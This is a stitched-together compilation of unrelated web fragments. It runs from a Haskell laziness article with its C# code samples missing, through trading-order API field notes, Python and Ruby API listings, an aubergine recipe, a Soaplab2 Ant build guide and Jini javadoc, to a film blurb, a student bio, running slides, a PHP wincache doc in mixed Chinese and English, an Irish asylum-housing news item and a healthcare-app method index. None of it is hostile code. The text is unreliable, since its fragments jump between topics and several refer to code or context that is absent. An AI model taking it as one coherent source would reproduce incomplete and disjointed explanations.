Infinite Laziness
In Haskell, expressions are evaluated lazily by default. This is quite different from the way most languages behave. By taking a dramatically different approach to something we take for granted (expression evaluation), you gain the ability to solve problems in different ways.
When you pass arguments to a method in C#, they are all evaluated right away. Those calculated values are then passed to the method you are calling. If the first argument to a function is a costly function call itself, the costly call takes place first. Most languages do it this way, and that just makes sense. Cause and effect seems to demand that arguments be evaluated before they are passed to another method, but Haskell actually turns cause and effect upside down. When you pass arguments to a Haskell function, they are not evaluated right away. Instead, they are only evaluated when the called-function actually needs to look at them! We can simulate this behavior in C# using Func<T>:
If we call DoSomething(1, 1+1), the arguments are evaluated eagerly as usual. If we instead call DoSomethingLazily(() => 1, () => 1+1), the expression “1+1” will never actually be evaluated; we never needed to look at y! Haskell is basically wrapping every argument of every function call in a lambda, and every function receives those lambdas as something like a Func<T>
.
One benefit of Haskell’s laziness-by-default is that it doesn’t hurt to pass the result of a costly function to DoSomethingLazily, as the value is not always going to be looked at anyway: DoSomethingLazily(() => 1, () => SomethingThatTakesTenYearsToCalculate()). Calling DoSomethingLazy with these arguments will return immediately, with no need to wait ten years. You can get some surprising performance boosts without really trying in Haskell. On the other hand, it could be quite difficult to determine where a bottleneck really is when you do run into one.
Another way laziness is useful is that it allows us to efficiently deal with apparently-infinite lists, made possible in C# with the yield
keyword. One of the most common examples of Haskell’s lazy evaluation is the calculation of the Fibonacci numbers as a combination of two infinite lists:
Here, we define the fibs function to take zero arguments, and return a lazily-evaluated list. Each value in the list will be calculated the moment we try to look at it. “tail fibs” means “get the infinite Fibonacci series, skipping the first number”. “zipWith (+) a b” means “line up two lists (a and b) side by side, producing a new list by adding together each pair of values”. Translating all of this to C#, we get:
The yield
keyword allows us to produce results on demand. The Enumerable
extension methods Zip
, Skip
, and TakeWhile
are all likewise implemented with the yield
keyword. We have effectively glued together a chain of function calls, each of which draws out the next result on demand. In the main loop, TakeWhile repeatedly tries to pull the next item of the Fibonacci series. When it does so, Fib() runs until the next time it yields a value, which in turn relies on summing up two other ‘instances’ of the Fibonacci sequence. Since everything’s lazy, none of this gets stuck in an infinite loop.
 The benefit is that when you do want laziness, it comes with brevity. C# on the other hand offers you two tools for laziness when you really want/need it: lambdas and yield.


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Let's take an example of an attack of a Pokémon on another, to see the full extand of what is behind the scenes. Suppose there is a Charizard that uses the move Flamethrower on a Mega-Venusaur.


Not currently used.
The reason that an order has been changed. Values:
A user-assigned ID for the order (like a purchase-order number assigned by a company). ClientOrderId defaults to 0.
Shows 0.
The quantity available to buy or sell that is publicly displayed to the market. To display a DisplayQuantity value, an order must be a Limit order with a reserve.
User ID of the person who entered the order
Best price available at time of entry (for ask or bid, respectively).
Quantity available at the best inside ask (or bid) price.
Best price available at time of entry (for ask or bid, respectively).
Quantity available at the best inside ask (or bid) price.
ID of the instrument being traded. See GetInstruments
True if both parties to a block trade agree that one party will report the trade for both. Otherwise false.
True if the open order is a quote; false if not.
Last trade price for this product before this order was entered.
ID of the Order Management System on which the order was placed.
The ID of the open order. The OrderID is unique in each Order Management Systsem.
The current condition of the order. There are five order states:
There are currently seven types of order
The Orignal Client-Designate Order Id.
ID of the original order. This number is also appended to CancelReplaceOrder
Original quantity of the order. The quantity of the actual execution may be lower than this number, but OrigQuantity shows the quantity in the order as placed.
The price at which the buy or sell has been ordered.
The quantity to be bought or sold.
The number of units executed in this trade.
The time at which the system received the order, in POSIX format and UTC time zone
The time stamp of the received order in Microsoft Tick format, and UTC time zone
If this order was rejected, RejectReason holds the reason for the rejection.
The open order can be Buy or Sell.
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The ID of the account that placed the order
OpenOrdersResult


xmodaler.modeling.predictor¶
-
class
xmodaler.modeling.predictor.
BasePredictor
(*, hidden_size: int, vocab_size: int, dropout: float)[source]¶ Bases:
torch.nn.modules.module.Module
-
__init__
(*, hidden_size: int, vocab_size: int, dropout: float)[source]¶ Initializes internal Module state, shared by both nn.Module and ScriptModule.
-
forward
(batched_inputs)[source]¶ Defines the computation performed at every call.
Should be overridden by all subclasses.
Note
Although the recipe for forward pass needs to be defined within this function, one should call the
Module
instance afterwards instead of this since the former takes care of running the registered hooks while the latter silently ignores them.
-
training
= None¶
-
-
class
xmodaler.modeling.predictor.
BertPredictionHead
(*, hidden_size, vocab_size, transform)[source]¶ Bases:
torch.nn.modules.module.Module
-
__init__
(*, hidden_size, vocab_size, transform)[source]¶ Initializes internal Module state, shared by both nn.Module and ScriptModule.
-
forward
(batched_inputs)[source]¶ Defines the computation performed at every call.
Should be overridden by all subclasses.
Note
Although the recipe for forward pass needs to be defined within this function, one should call the
Module
instance afterwards instead of this since the former takes care of running the registered hooks while the latter silently ignores them.
-
training
= None¶
-
-
class
xmodaler.modeling.predictor.
BertVisualPredictionHead
(*, hidden_size, v_target_size, transform)[source]¶ Bases:
torch.nn.modules.module.Module
-
__init__
(*, hidden_size, v_target_size, transform)[source]¶ Initializes internal Module state, shared by both nn.Module and ScriptModule.
-
forward
(batched_inputs)[source]¶ Defines the computation performed at every call.
Should be overridden by all subclasses.
Note
Although the recipe for forward pass needs to be defined within this function, one should call the
Module
instance afterwards instead of this since the former takes care of running the registered hooks while the latter silently ignores them.
-
training
= None¶
-
-
class
xmodaler.modeling.predictor.
MultiModalPredictor
(*, labels_num: int, pooler_input_size: int, pooler_output_size: int, pooler_bn: bool, pooler_dropout: float, num_understanding_layers: int, num_generation_layers: int)[source]¶ Bases:
torch.nn.modules.module.Module
-
__init__
(*, labels_num: int, pooler_input_size: int, pooler_output_size: int, pooler_bn: bool, pooler_dropout: float, num_understanding_layers: int, num_generation_layers: int)[source]¶ Initializes internal Module state, shared by both nn.Module and ScriptModule.
-
forward
(batched_inputs)[source]¶ Defines the computation performed at every call.
Should be overridden by all subclasses.
Note
Although the recipe for forward pass needs to be defined within this function, one should call the
Module
instance afterwards instead of this since the former takes care of running the registered hooks while the latter silently ignores them.
-
training
= None¶
-
-
class
xmodaler.modeling.predictor.
MultiModalSimilarity
(*, pooler_input_size: int, pooler_output_size: int, pooler_bn: bool, pooler_dropout: float, num_hidden_layers: int, v_num_hidden_layers: int)[source]¶ Bases:
torch.nn.modules.module.Module
-
__init__
(*, pooler_input_size: int, pooler_output_size: int, pooler_bn: bool, pooler_dropout: float, num_hidden_layers: int, v_num_hidden_layers: int)[source]¶ Initializes internal Module state, shared by both nn.Module and ScriptModule.
-
forward
(batched_inputs)[source]¶ Defines the computation performed at every call.
Should be overridden by all subclasses.
Note
Although the recipe for forward pass needs to be defined within this function, one should call the
Module
instance afterwards instead of this since the former takes care of running the registered hooks while the latter silently ignores them.
-
training
= None¶
-


Methods
<< (Orgmode::OutputBuffer)
begin_block? (Orgmode::Line)
blank? (Orgmode::Line)
block_type (Orgmode::Line)
comment? (Orgmode::Line)
current_mode (Orgmode::OutputBuffer)
current_mode_list? (Orgmode::OutputBuffer)
custom_keyword_regexp (Orgmode::Parser)
end_block? (Orgmode::Line)
enter_table? (Orgmode::OutputBuffer)
exit_table? (Orgmode::OutputBuffer)
export_exclude_tags (Orgmode::Parser)
export_heading_number? (Orgmode::Parser)
export_select_tags (Orgmode::Parser)
export_tables? (Orgmode::Parser)
export_todo? (Orgmode::Parser)
flush! (Orgmode::HtmlOutputBuffer)
flush! (Orgmode::TextileOutputBuffer)
get_next_headline_number (Orgmode::Parser)
headline? (Orgmode::Headline)
in_buffer_setting? (Orgmode::Line)
inline_formatting (Orgmode::TextileOutputBuffer)
libpath (OrgRuby)
list_indent_level (Orgmode::OutputBuffer)
load (Orgmode::Parser)
match_all (Orgmode::RegexpHelper)
metadata? (Orgmode::Line)
new (Orgmode::TextileOutputBuffer)
new (Orgmode::Headline)
new (Orgmode::HtmlOutputBuffer)
new (Orgmode::Line)
new (Orgmode::OutputBuffer)
new (Orgmode::RegexpHelper)
new (Orgmode::Parser)
nonprinting? (Orgmode::Line)
ordered_list? (Orgmode::Line)
paragraph_type (Orgmode::Line)
path (OrgRuby)
plain_list? (Orgmode::Line)
plain_text? (Orgmode::Line)
pop_mode (Orgmode::HtmlOutputBuffer)
pop_mode (Orgmode::OutputBuffer)
pop_mode (Orgmode::TextileOutputBuffer)
prepare (Orgmode::OutputBuffer)
preserve_whitespace? (Orgmode::OutputBuffer)
push_mode (Orgmode::TextileOutputBuffer)
push_mode (Orgmode::HtmlOutputBuffer)
push_mode (Orgmode::OutputBuffer)
require_all_libs_relative_to (OrgRuby)
rewrite_emphasis (Orgmode::RegexpHelper)
rewrite_links (Orgmode::RegexpHelper)
skip_header_lines? (Orgmode::Parser)
strip_ordered_list_tag (Orgmode::Line)
strip_unordered_list_tag (Orgmode::Line)
table? (Orgmode::Line)
table_header? (Orgmode::Line)
table_row? (Orgmode::Line)
table_separator? (Orgmode::Line)
to_html (Orgmode::Line)
to_html (Orgmode::Parser)
to_html (Orgmode::Headline)
to_s (Orgmode::Line)
to_textile (Orgmode::Headline)
to_textile (Orgmode::Parser)
to_textile (Orgmode::Line)
translate (Orgmode::Line)
unordered_list? (Orgmode::Line)
version (OrgRuby)


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4
Preheat the oven to 190C/375F/Gas 5.
Cut the aubergines in half, and carefully scoop out the flesh, leaving the skins to one side. Cut the aubergine flesh into small cubes.
Heat a frying pan over a medium heat until hot, then add the olive oil and aubergines and fry for 2-3 minutes.
Add the onion and garlic and fry for a further 2-3 minutes, until the onions have softened and the aubergines are starting to turn golden-brown.
Add the lamb mince and cook for 4-5 minutes, until browned.
Add the tomatoes, cumin, cinnamon, dried oregano and red wine and cook for 2-3 minutes, breaking up the tomatoes with a spoon as you cook.
Add the mint and the stock. Bring to the boil, then reduce the heat and simmer for 15 minutes. Season, to taste, with salt and freshly ground black pepper.
Spoon the aubergine mixture into the reserved aubergine skins and place onto a roasting tray.
Place the butter into a pan over a medium heat. When the butter has melted, add the flour and cook, stirring well, for one minute. Add the hot milk and cook, stirring constantly, for 2-3 minutes, until the mixture has thickened.
Add the eggs, season with salt and freshly ground black pepper, and add the nutmeg.
Add half of the grated cheddar and mozzarella and continue to cook, stirring, until combined as a smooth sauce.
Spoon equal amounts of the cheese sauce over the top of each of the stuffed aubergines, then sprinkle with the remaining grated cheddar and mozzarella.
Transfer the stuffed aubergines to the oven to bake for 20-25 minutes, until the cheese topping is golden-brown and bubbling.
Meanwhile, for the sautéed potatoes, heat a frying pan over a medium heat until hot. Add the olive oil and potatoes and fry, turning occasionally, for 7-8 minutes, or until golden-brown all over and tender.
Season the potatoes with salt and freshly ground black pepper, then add the flatleaf parsley and stir well.
To serve, place a stuffed aubergine onto each plate and place a spoonful of sautéed potatoes alongside.


Soaplab is installed and built by Ant.
Ant is a very powerful tool that can do almost everything. It can be also widely configured, by setting various properties, in order to customise user's actions. Which means that its usage can sometimes become a bit confusing. Therefore, this documents starts by explaining few basic rules how to use Ant, and only the next chapter describes how to use it for building Soaplab2.
ant -projecthelpIt displays something like this:
Main targets: all Clean, compile, etc.. axis1deploy Deploy (copy) an Axis-1 war file to a Tomcat server axis1dist Populate Axis-1 services distribution space axis1war Create a Axis-1 war file for services distribution bootstrap Fetch Maven library - needed only the first time. clean Remove all generated files. cleanxml Remove all generated service metadata compile Compile all source code (default) config Create all run-time scripts and configuration files. docs Generate documentation. gen Generate service metadata from all ACD files genebi Generate XML metadata for EBI's sample services. genemboss Generate XML metadata for EMBOSS (needs EMBOSS installed). gengowlab Generate XML metadata for Gowlab services. gensowa Generate XML metadata for Sowa services. info-list Show a list of available services initeclipse For Eclipse users... create pom files in the right place install Install and build Soaplab2 install-clients Install and build Soaplab2 clients jars Create all jar files related to this project. jaxdeploy Deploy (copy) a JAX-WS war file to a Tomcat server jaxdist Populate JAX-WS services distribution space jaxwar Create a JAX-WS war file for services distribution test-junit Run the junit test casesSoaplab2 uses Ant version 1.6.5 and later. Check your version. For example:
ant -version Apache Ant version 1.7.0 compiled on December 13 2006The Ant can be (and, in some point, should be) customised by defining some properties in the file
compile.deprecation = true compile.warnings = true tomcat.home = /home/senger/Software/jakarta-catalina emboss.home = /home/senger/Software/embossThe usual problem with properties could be to mix together properties used by Ant and properties used by Soaplab2. The properties used by Ant are usually referred to as build-time properties, while the Soaplab2 properties, used in the run-time by Soaplab2 services, are called run-time properties.
What adds to the confusion is also a fact that Ant helps to build run-time property files for Soaplab2 by re-using (propagating) some build-time properties to the run-time properties. Sorry about it...
ant -Dcompile.warnings=true compile ant -Dcompile.warnings=true -Dcompile.debug=false compileThe whole construct with the -D option must constitute a single command-line parameter. Therefore, this is wrong:
ant -D compile.warnings=true compile
ant "-Dbig.apple=New York"
tomcat.home = /home/senger/Software/jakarta-catalinaOther properties that you may use are described later in this document, when individual Ant's targets (tasks) are explained. The best way (but not always an easy) way to find what properties can be used, is to look into build.xml file (and its include files in the xmls directory).
For enabling typed interface for your Soaplab Web Services please check typed interface help page.
This is especially true for the
Ant calls Maven whenever you build Soaplab2 to find whether there are some unresolved third-party dependencies. If there are - and definitely there are the first time you build Soaplab2 - Maven downloads them to your computer. It creates a local Maven repository - which is a directory in your home directory (the name depends on the platform: on Linux, its name is .m2). This repository can be used by more projects using Maven. Important is to know that:
There is an article describing details how the Ant-Maven marriage is handled. It is from another project, but the principles (and files) are very similar to Soaplab2 (because both Soaplab2 and the article share the same author ). The article also explains what to do if you wish to have the local Maven repository created elsewhere - which you may need if your home directory has some space limits.
ant installThe installation is nothing more than calling several Ant's task in a row.
Next, it checks that you have installed Perl. This is a legacy issue and will, sooner or later, disappear. The goal is to have Soaplab2 pure Java. The only remaining non-Java part is the converter between ACD and XML files (more about ACD files in the metadata guide).
After that, it reminds you to create the build.properties file and put there properties locating the place where you have installed Tomcat. These properties are not used yet, but ultimately they will be needed when you deploy your Soaplab2 services (see more about that step in the deployment guide document).
Then the real installation starts. In a series of steps, Ant downloads many third-party libraries, builds the whole Soaplab2, generates XML files for several testing services, and as a jewel at the end, it runs one testing service, the HelloWorld service.
ant jaxdeployThis will deploy few testing services into your Tomcat and you can start using them (see the command-line client document how to use your services from the command-line):
build/run/run-cmdline-client -name classic.helloworld -w -rOr, perhaps even easier, you can open your browser and point it to your Tomcat and use the Spinet client. Unless you run Tomcat on a different port, or unless you deployed your services into a different context, the URL to open should be this: http://localhost:8080/soaplab2/.
The installation task can be repeated anytime without any harm.
More Ant tasks (the more specialised ones) are described in separate documents. The deployment tasks:
axis1deploy Deploy (copy) an Axis-1 war file to a Tomcat server axis1dist Populate Axis-1 services distribution space axis1war Create a Axis-1 war file for services distribution jaxdeploy Deploy (copy) a JAX-WS war file to a Tomcat server jaxdist Populate JAX-WS services distribution space jaxwar Create a JAX-WS war file for services distributionare in the deployment guide, and the metadata tasks:
cleanxml Remove all generated service metadata gen Generate service metadata from all ACD files genebi Generate XML metadata for EBI's sample services. genemboss Generate XML metadata for EMBOSS (needs EMBOSS installed). gengowlab Generate XML metadata for Gowlab services. gensowa Generate XML metadata for Sowa services.are in the service metadata guide.
The remaining tasks are:
Most of the new created files (those that can be re-generated anytime later) are generated in the build directory.
Note that other libraries can be (and are) fetched later by Maven, but Maven itself needs a library which obviously "cannot be fetched before it is fetched". That's why we have here a separate task for it. Probably we should call it better a Catch-22 task .
ant clean compile
You can influence how the Java compiled code is produced by setting compilation properties. The default values are:
compile.debug = true compile.verbose = false compile.deprecation = false compile.optimize = false compile.warnings = false
Generally, it transforms template files (sitting mostly in the directory src/etc/config) into real configuration files and puts them into build/classes directory where they are used by Soaplab services.
The template files do not contain any local dependencies (such as a full path to your soaplab2 directory). The config task injects the "local knowledge" into them during the copying. The "injection" is done on places marked in the templates by pairs of the @ characters. You do not need to know it - unless you wish to write your own template file. Please check the template what injection points are used. Here is an example of two pairs of replacement tokens (from the soaplab.properties.template:
base.dir = @PROJECT_HOME@ metadata.dir = @METADATA_DIR@ ...If you have your own template file, you need to let Ant know about it by setting a build-time property pointing to your template file. For example, for the major Soaplab2 configuration file, you set the property my.soaplab.properties:
my.soaplab.properties = testing.soaplab.propertiesOther build-time properties for setting other configuration files are:
log4j.configuration = testing.log4j.properties my.soaplab.client.properties = testing.soaplab.client.propertiesExamples and details about configuration files are in the configuration guide.
The config task also generates run-time scripts into build/run directory. The scripts can be used to start various Soaplab2 client and administrative command-line programs (as shown in the command-line client and administrative tools documents).
The run-time scripts are also a good place where you can see names and location of all third-party libraries Soaplab2 is using.
The Soaplab2 is distributed together with the full documentation. In includes also hyper-links to the API documentation - which must be first created by this task. Whenever you see a dead link in the Soaplab pages, a chance is that it may be revived by running this task.
[service] alignment.wu_blastn_raw [service] alignment.wu_blastn_xml [service] alignment.wu_blastp_raw [service] alignment.wu_blastp_xml [service] alignment.wu_blastx_raw [service] alignment.wu_blastx_xml [service] alignment.wu_tblastn_raw [service] alignment.wu_tblastn_xml [service] alignment.wu_tblastx_raw [service] alignment.wu_tblastx_xml [service] alignment_consensus.cons [service] alignment_consensus.megamerger [service] alignment_consensus.merger [service] alignment_differences.diffseq [service] alignment_dot_plots.dotmatcher [service] alignment_dot_plots.dotpath [service] alignment_dot_plots.dottup [service] alignment_dot_plots.polydot [service] alignment_global.est2genome ...It also creates a file services.list. Its name can be changed by the property
ant -Dservices.names.file=my.services info-listThe file contains nothing more than the service names, each one on a separate line.
Before running them, it compiles them first (the testing classes are not part of the normal compilation). Running this task may give you the following error:
================================= WARNING ================================ Junit library is not present in a correct directory. Tests not executed. The library (junit.jar) is, however, in your local Maven repository. Therefore: Put it in your ${ANT_HOME}/lib directory. Or, put in your ${HOME}/.ant/lib directory. Or start ant with -lib <your junit library>. ==========================================================================
First, you need to install a Maven plug-in into your Eclipse. Then, you need to create several pom.xml files - the files where the Eclipse Maven plug-in looks for the dependencies. These files are created by running the Ant's initeclipse task (which is often invoked from other tasks automatically, but can be run also separately). Make sure that you enable Maven plug-in only after the pom.xml files have been created.
This is the sequence of steps I usually follow when Eclipse is not happy (which happens when Soaplab2's dependencies or Soaplab2's version change):


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Represents one or more communication endpoints on the current
(local) host to listen for and receive requests on and a template
for producing an Endpoint
instance to send requests to
those communication endpoints.
A ServerEndpoint
instance contains the information
necessary to listen for requests on the communication endpoints and
to produce Endpoint
instances. For example, a
TCP-based ServerEndpoint
implementation typically
contains the TCP port to listen on and the host address to put in
the Endpoint
instances it produces. An implementation
that supports authentication typically contains the Subject
(if any) to use for server authentication.
The enumerateListenEndpoints
method can be invoked to
ServerEndpoint
, which are
individually represented as ListenEndpoint
instances,
ListenEndpoint.listen
) on each discrete
communication endpoint by choosing, for each endpoint, either to
start a new listen operation or to use an existing one, and
Endpoint
instance that corresponds to
the chosen listen operations
Endpoint
instance can then be used to
send requests to the communication endpoints being listened on as a
result of that enumerateListenEndpoints
invocation.
Typically, a ServerEndpoint
is just used to specify
the transport layer implementation to use when exporting a remote
object; for example, some constructors of BasicJeriExporter
have a ServerEndpoint
parameter to
specify the transport layer implementation. The exporter
implementation is then responsible for using the supplied
ServerEndpoint
to manage listen operations as
necessary and to obtain an Endpoint
instance for
putting in the client-side proxy.
All aspects of the underlying communication mechanism that are not specified here are defined by the particular implementation of this interface.
| Nested Class Summary | |
static interface |
ServerEndpoint.ListenContext
A callback object for passing to ServerEndpoint.enumerateListenEndpoints to receive the
enumerated ListenEndpoint
instances and to choose an active listen operation for each of
them on behalf of the caller of
enumerateListenEndpoints . |
static interface |
ServerEndpoint.ListenCookie
A cookie to identify a listen operation as the return value of the ListenContext.addListenEndpoint method. |
static interface |
ServerEndpoint.ListenEndpoint
Represents a communication endpoint on the current (local) host to listen for and receive requests on. |
static interface |
ServerEndpoint.ListenHandle
Represents a listen operation that has been started on a ListenEndpoint .
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Endpoint |
enumerateListenEndpoints(ServerEndpoint.ListenContext listenContext)
Enumerates the communication endpoints represented by this ServerEndpoint by passing the
ListenEndpoint for each of them to
listenContext , which will ensure an active listen
operation on each endpoint, and returns an
Endpoint instance corresponding to the listen
operations chosen by listenContext .
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checkConstraints |
| Method Detail |
public Endpoint enumerateListenEndpoints(ServerEndpoint.ListenContext listenContext) throws IOException
ServerEndpoint
by passing the
ListenEndpoint
for each of them to
listenContext
, which will ensure an active listen
operation on each endpoint, and returns an
Endpoint
instance corresponding to the listen
operations chosen by listenContext
.
This method uses listenContext
to cooperate
with the caller to ensure the appropriate listen operations.
In this cooperation,
ServerEndpoint
is responsible for
declaring to the caller the discrete communication endpoints
represented by this ServerEndpoint
as
ListenEndpoint
instances passed to
listenContext
's addListenEndpoint
method, and
ServerEndpoint.enumerateListenEndpoints
invocation
corresponding to each discrete communication endpoint as ListenCookie
instances returned from
listenContext
's addListenEndpoint
method.
ListenEndpoint
, the caller (through
listenContext
) may choose to start a new listen
operation, or it may choose to reuse a previously started
listen operation that it has a ListenCookie
for.
This method sequentially invokes
addListenEndpoint
on listenContext
once for each discrete communication endpoint represented by
this ServerEndpoint
, passing the
ListenEndpoint
representing that communication
endpoint. If any of the invocations of
ListenContext.addListenEndpoint
throws an
exception, this method throws that exception. Otherwise, this
method returns an Endpoint
instance that sends
requests to be received by the listen operations chosen by
listenContext
.
listenContext
- the ListenContext
to pass
this ServerEndpoint
's ListenEndpoint
instances to
Endpoint
instance for sending requests
to this ServerEndpoint
's communication endpoints
being listened on
IOException
- if an I/O exception occurs while attempting
to listen for requests on the communication endpoints
represented by this ServerEndpoint
. This could
occur, for example, if an I/O resource associated with one of
the communication endpoints is already in exclusive use, or if
there are insufficient I/O resources for the operation.
SecurityException
- if the current security context does
not have the permissions necessary to listen for requests on
one of the communication endpoints represented by this
ServerEndpoint
IllegalArgumentException
- if an invocation of the
addListenEndpoint
method on the supplied
ListenContext
returns a ListenCookie
that does not correspond to the ListenEndpoint
that was passed to it
NullPointerException
- if listenContext
is
null
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Avengers End Game
Avengers: Endgame is a 2019 American superhero film based on the Marvel Comics superhero team the Avengers, produced by Marvel Studios and distributed by Walt Disney Studios Motion Pictures. It is the direct sequel to Avengers: Infinity War (2018) and the 22nd film in the Marvel Cinematic Universe (MCU). The film was directed by Anthony and Joe Russo and written by Christopher Markus and Stephen McFeely, and features an ensemble cast including Robert Downey Jr., Chris Evans, Mark Ruffalo, Chris Hemsworth, Scarlett Johansson, Jeremy Renner, Don Cheadle, Paul Rudd, Brie Larson, Karen Gillan, Danai Gurira, Benedict Wong, Jon Favreau, Bradley Cooper, Gwyneth Paltrow, and Josh Brolin....
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[1] http://esa.un.org/wpp/Documentation/pdf/WPP2012_Press_Release.pdf
http://www.worldometers.info/world-population/population-by-country/
[2] http://www.gallup.com/poll/158066/special-report-adults-identify-lgbt.aspx
[3] https://en.wikipedia.org/wiki/Homosexuality#Demographics
[4] http://www.worldometers.info/world-population/population-by-country/
https://en.wikipedia.org/wiki/Same-sex_marriage
[5] http://qz.com/156409/indias-latest-ban-against-gay-sex-has-its-origin-in-a-five-century-old-british-power-struggle/
https://en.wikipedia.org/wiki/LGBT_rights_in_the_European_Union
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I'm in fourth year at the University of Waterloo. I'm studying Software Engineering there, and can be often found at VeloCity Residence on my school terms -- it's a great place to meet awesome people, build things, and experiment.
I've spent co-op terms working for: Khan Academy, Google, Xtreme Labs, Facebook, and SharpSchool.
I have a passion for good food and board games. My favourite foods include tonkatsu, mashed potatoes, fresh cherries, and nectarines. My favourite board games include Space Alert, Settlers of Catan, Monopoly Deal, and The Resistance.


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Garuda is a Blogging + Networking Site for the University Students .
Inspired from both Facebook and Twitter , Garuda allows you to 'tweet' your thoughts and at same time, users can form groups for an even better experience.


Plan of presentation
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Why running is AWESOME?
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Requirements
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Motivation
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Why running is AWESOME?
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Endorphins
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Improving endurance
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Strengthening core muscles
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Burning calories
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Running shoes
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HR monitor
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GPS tracker
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Plan your trainings
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Set up a goal for yourself
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Social challenges
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Poor training which was actually conducted is much better than a perfect plan
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Beginners should start with walk/runs
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Listen to audiobooks, podcasts, music


wincache_rplist_meminfo (PECL wincache >= 1.0.0) wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache 说明 array wincache_rplist_meminfo ( void ) Retrieves information about memory usage by resolve file path cache. 返回值 Array of meta data that describes memory usage by resolve file path cache. 或者 在失败时返回 FALSE The array returned by this function contains the following elements: • memory_total - amount of memory in bytes allocated for the resolve file path cache • memory_free - amount of free memory in bytes available for the resolve file path cache • num_used_blks - number of memory blocks used by the resolve file path cache • num_free_blks - number of free memory blocks available for the resolve file path cache • memory_overhead - amount of memory in bytes used for the internal structures of resolve file path cache 范例 Example #1 A wincache_rplist_meminfo() example
以上例程会输出： Array ( [memory_total] => 9437184 [memory_free] => 9416744 [num_used_blks] => 23 [num_free_blks] => 1 [memory_overhead] => 416 ) 参见 • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache • wincache_fcache_meminfo() - Retrieves information about file cache memory usage • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files • wincache_ucache_meminfo() - Retrieves information about user cache memory usage • wincache_ucache_info() - Retrieves information about data stored in the user cache • wincache_scache_info() - Retrieves information about files cached in the session cache • wincache_scache_meminfo() - Retrieves information about session cache memory usage


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Did you ever experienced on having problem sending an email with very large file attachment?
Well, those days are just part of the past.
With the new feature rolled out by Google on its e-mail service. They had integrated Google Drive and Gmail in able to beat the traditional limits of size in email attachments.
Once you logged in to your gmail account. When you compose a message by hitting the compose button, you might see something like this.
By clicking the "new compose experience link", you are signing up to the new feature that Google is now trying out.
After the page had reloaded, you will see some little tips on what had changed in the "new compose experience".
Well, ok. that is something new, but where is the 10GB file attachment that I am saying?
Ok here it is, very few person noticed this feature although I think most of gmail users had opted to go for the new version of compose message.
Look at the toolbar below:
If you could notice, there is a button for Google Drive. When you hit that, you could attach many files in the email
as long as your Google Drive has still space on it.
The thing is, with the free space provided by Google Drive, you can take advantage that to attach anything whether its some installer you want to send to someone else or a large movie file that you want to store in the cloud.
For those not familiar what Google Drive is, It is some form of online storage where you can store your files online, and share it to anyone. There are many options to restrict which person could access which files.
You can learn more about Google Drive in here


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Recently acquiring a new team member, we are a group of 3 Mechanical Engineers, 1 Design Engineer and 1 Material Scientist.
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Govt considering using State-owned land for Direct Provision accommodation
by By Digital Desk staffState-owned land could be used to provide Direct Provision accommodation.
It is thought the move could be cheaper than paying private operators to house asylum seekers and is being considered by the Department of Justice.
More than 3,700 people are applying for asylum in Ireland so far this year - the highest number in over a decade.
This year's total is expected to be 40% more than last year.
The Government has become more reliant on emergency accommodation options recently to deal with the demand, but in 2019, that cost the State €78m.
The Immigration Minister of State for Immigration David Stanton believes using State-owned land could be 44% cheaper.
In an interview with the Irish Times, the Minister said using State land would require planning permission and would therefore be more transparent than the current system.
He said that a complete move to State-owned accommodation may not be feasible, but he thinks increasing those types of centres could bring the cost down.
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Young man's lifeboat colleagues 'worked valiantly' to try and save him from car in sea
A number of protests have been held in different parts of the country against the provision of emergency accommodation in local communities.


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Reference site for Metaheuristic Explorer project at github.com/sebafonte.
Here you will find documentation and examples about metaheuristics and pseudo random structure altering experiments (images, visual inspection of mutations, etc).
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Reference site for Metaheuristic Explorer project at github.com/sebafonte.
Here you will find documentation and examples about metaheuristics and pseudo random structure altering experiments (images, visual inspection of mutations, etc).
Mail at<EMAIL_ADDRESS>and contribute if you love to code on Lisp or any metaheuristic.


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SecretaryDashboardView()
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SecretaryDashboardView
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serialise()
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AdminFeedback
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Administrator
serialise()
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Appointment
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Doctor
serialise()
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ISerialise
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Medicine
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Patient
serialise()
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Prescription
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Rating
serialise()
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Secretary
setAccountData(String, String, String)
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AdminDashboardView
setAccountData(String, String, String)
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DoctorDashboardView
setAccountData(String, String, String, String, String)
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PatientDashboardView
setAccountData(String, String, String)
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SecretaryDashboardView
setAccountType(String)
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CreateAccountObject
setAddress(String)
- Method in class model.
CreateAccountObject
setAddress(String)
- Method in class model.
SystemUser
setAdminComments(String)
- Method in class model.
AdminFeedback
setAppointmentDate(String)
- Method in class view.
PatientDashboardView
setAppointmentDoctorName(String)
- Method in class view.
PatientDashboardView
setAppointmentReferenceNumber(String)
- Method in class view.
PatientDashboardView
setAppointmentStatus(String)
- Method in class view.
PatientDashboardView
setAverageRating(String)
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AdminDashboardView
setCanLogin(ILoginState)
- Method in class model.
Patient
setCurrentUserByID(String)
- Method in class controller.
CreateAccountController
setDate(Date)
- Method in class model.
Appointment
setDOB(String)
- Method in class model.
CreateAccountObject
setDOB(String)
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Patient
setDoctorID(String)
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AdminFeedback
setDoctorID(String)
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setDoctorID(String)
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Prescription
setDoctorID(String)
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Rating
setDoctorNotes(String)
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Appointment
setDosageNotes(String)
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Prescription
setFirstName(String)
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CreateAccountObject
setFirstName(String)
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SystemUser
setGender(String)
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CreateAccountObject
setGender(String)
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Patient
setLastName(String)
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CreateAccountObject
setLastName(String)
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SystemUser
setMedication(Medicine)
- Method in class model.
Prescription
setMedicineName(String)
- Method in class model.
Medicine
setPanel(JPanel)
- Method in class view.
MainView
setPassword(String)
- Method in class model.
LoginObject
setPassword(String)
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SystemUser
setPatientComments(String)
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setPatientID(String)
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setPatientID(String)
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setPrescriptionDoctor(String)
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setPrescriptionDoctorAddress(String)
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setPrescriptionDoctorName(String)
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PatientDashboardView
setPrescriptionMedication(String)
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PatientDashboardView
setPrescriptionMedicationDosageInformation(String)
- Method in class view.
PatientDashboardView
setPrescriptionMedicationName(String)
- Method in class view.
PatientDashboardView
setPrescriptionMedicationQtyGiven(String)
- Method in class view.
PatientDashboardView
setPrescriptionMedicationStartDate(String)
- Method in class view.
PatientDashboardView
setPrescriptionMedicationStatus(String)
- Method in class view.
PatientDashboardView
setPrescriptionPatientAddress(String)
- Method in class view.
PatientDashboardView
setPrescriptionPatientAge(String)
- Method in class view.
PatientDashboardView
